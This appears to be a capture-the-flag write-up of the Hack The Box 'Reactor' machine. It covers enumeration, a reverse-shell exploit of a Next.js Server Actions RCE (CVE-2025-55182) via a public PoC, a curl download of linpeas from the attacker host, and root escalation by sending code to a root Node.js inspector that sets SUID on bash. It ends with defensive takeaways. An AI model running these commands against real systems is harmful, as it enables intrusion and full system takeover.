Post

HTB Series - Reactor (Easy Box)

A easy-difficulty box exploiting React Server Components RCE (CVE-2025-55182) for initial access, then leveraging a misconfigured Node.js inspector running as root to achieve privilege escalation.

HTB Series - Reactor (Easy Box)

Enumeration

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -sS -sV -A -p- -T4 reactor.htb

Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-23 22:31 -0400
Nmap scan report for 10.129.178.11
Host is up (0.0098s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_  256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     X-Powered-By: Next.js

Nmap results yield 2 open ports: 22 (SSH) and 3000 (HTTP / Next.js).

Browsing to the web server shows a Reactor web page with no other interactive elements or navigation links. Proceeded with directory and subdomain enumeration.

GoBuster

1
2
3
gobuster dir -u http://reactor.htb:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

gobuster vhost -u http://reactor.htb:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --append-domain

Both directory and vhost enumeration returned no results. Since the X-Powered-By: Next.js header was visible, pivoted to Burp Suite for deeper analysis.

BurpSuite

Running an active scan on the web page returned a finding of React Server Components remote code execution (React2Shell). Burp identified the application as vulnerable to CVE-2025-55182 (Next.js Server Actions prototype pollution leading to RCE).


Initial Access

Exploitation - CVE-2025-55182 (React2Shell)

Searched for CVE-2025-55182 on GitHub and found this public PoC: https://github.com/Chocapikk/CVE-2025-55182/tree/main

How the vulnerability works:

The Next.js Server Actions feature deserializes React Flight Protocol payloads without sufficient validation. By crafting a multipart form-data POST request with a malicious _prefix field, an attacker can inject arbitrary JavaScript that executes server-side via prototype pollution of the _response object. The Next-Action header activates the Server Actions endpoint.

Installation:

1
2
3
python3 -m venv ~/venvs/exploit-tools
source ~/venvs/exploit-tools/bin/activate
pip install rich-click fake-useragent requests urllib3

Execution:

1
2
3
4
5
6
7
8
python3 exploit.py -u http://reactor.htb:3000 -r -l 10.10.14.21 -p 4444 -P nc-mkfifo
[*] Starting reverse shell listener on 10.10.14.21:4444
[*] Sending reverse shell payload...
Waiting for connection...
Reverse shell connection established from 10.129.177.157:59126!
sh: 0: can't access tty; job control turned off
$ id
uid=999(node) gid=988(node) groups=988(node)

The sh: 0: can't access tty; job control turned off message is expected as the shell was spawned without a TTY. Upgraded to a fully interactive shell:

1
2
3
4
5
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm-256color
stty rows 50 columns 200
1
2
3
4
5
6
7
8
node@reactor:/opt/reactor-app$ ls -l
total 60
drwxr-xr-x  2 node node  4096 Dec 28 20:47 app
-rw-r--r--  1 node node   172 Dec 28 20:47 next.config.js
drwxr-xr-x 30 node node  4096 Dec 28 20:47 node_modules
-rw-r--r--  1 node node   269 Dec 28 20:47 package.json
-rw-r--r--  1 node node 29329 Dec 28 20:47 package-lock.json
-rw-r-----  1 node node 12288 Dec 28 21:03 reactor.db

Privilege Escalation

Enumeration - LinPEAS

Transferred and executed linpeas.sh for local enumeration:

1
python3 -m http.server 8000
1
2
3
curl http://10.10.14.21:8000/linpeas.sh -o /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh

Under the Processes, Crons, Timers, Services and Sockets section, LinPEAS highlighted a Node.js process running as root with the --inspect flag:

1
2
root  1415  0.0  1.1 1066560 46236 ?  Ssl  03:26  0:00
/usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

Why This Is Exploitable

The --inspect flag enables the Node.js debugger protocol on port 9229, bound to localhost. The inspector protocol allows any connecting client to execute arbitrary JavaScript within the process context. Because this process runs as root, connecting to the inspector = arbitrary code execution as root.

Getting the WebSocket UUID

1
2
3
4
5
6
7
8
node@reactor:/opt/reactor-app$ curl http://127.0.0.1:9229/json
[ {
  "description": "node.js instance",
  "id": "30fc130f-ab2a-4674-9ea6-aab8fb62e568",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/30fc130f-ab2a-4674-9ea6-aab8fb62e568"
} ]

Connecting to the Inspector

Since HTB machines have no outbound internet connectivity, installing the ws npm module externally was not possible. Instead, we located an existing ws module bundled within the target’s Next.js installation:

1
2
find / -name "ws" -type d 2>/dev/null | grep node_modules
# /opt/reactor-app/node_modules/next/dist/compiled/ws

Referenced it via NODE_PATH to avoid installing anything:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
NODE_PATH=/opt/reactor-app/node_modules/next/dist/compiled node -e "
const WebSocket = require('ws');
const ws = new WebSocket('ws://127.0.0.1:9229/30fc130f-ab2a-4674-9ea6-aab8fb62e568');
ws.on('open', () => {
  ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: {
      expression: \"process.mainModule.require('child_process').execSync('chmod u+s /bin/bash').toString()\"
    }
  }));
});
ws.on('message', (data) => {
  console.log(data.toString());
  process.exit();
});
"

Note: require is not directly available in the Node.js inspector evaluation context, process.mainModule.require must be used instead as it accesses the module loader through the process object. process.mainModule is deprecated in newer Node versions but remains functional here with the assumptions that this is CommonJS apps.

Root Shell

1
2
3
4
5
6
7
8
9
node@reactor:/opt/reactor-app$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash

node@reactor:/opt/reactor-app$ /bin/bash -p
bash-5.2# id
uid=999(node) gid=988(node) euid=0(root) groups=988(node)

bash-5.2# cat /root/root.txt
<hash>

The -p flag prevents bash from dropping the elevated EUID on startup. Without it, bash resets EUID to the real UID as a security measure and privileges are lost.


Defensive Takeaways

  • CVE-2025-55182 (Next.js Server Actions): Server Actions should never be exposed without strict input validation. Prototype pollution via the React Flight Protocol is a critical RCE vector. Upgrade to Next.js 14.2.25+ or 15.2.3+.
  • Node.js --inspect in production: The --inspect flag should never be used on production systems, especially on root-owned processes. If debugging is required, bind to a Unix socket with strict file permissions rather than a TCP port.
  • Local inspector exposure: Even binding to 127.0.0.1 does not prevent exploitation, any local user with shell access can connect to the inspector. Lateral movement combined with an exposed inspector equals root. Remove the flag from production process supervisors entirely.
  • Bundled module reuse: Sensitive tools like WebSocket clients bundled within application node_modules can be repurposed by attackers already on the system. Minimal installs and read-only bind mounts reduce this attack surface.
This post is licensed under CC BY 4.0 by the author.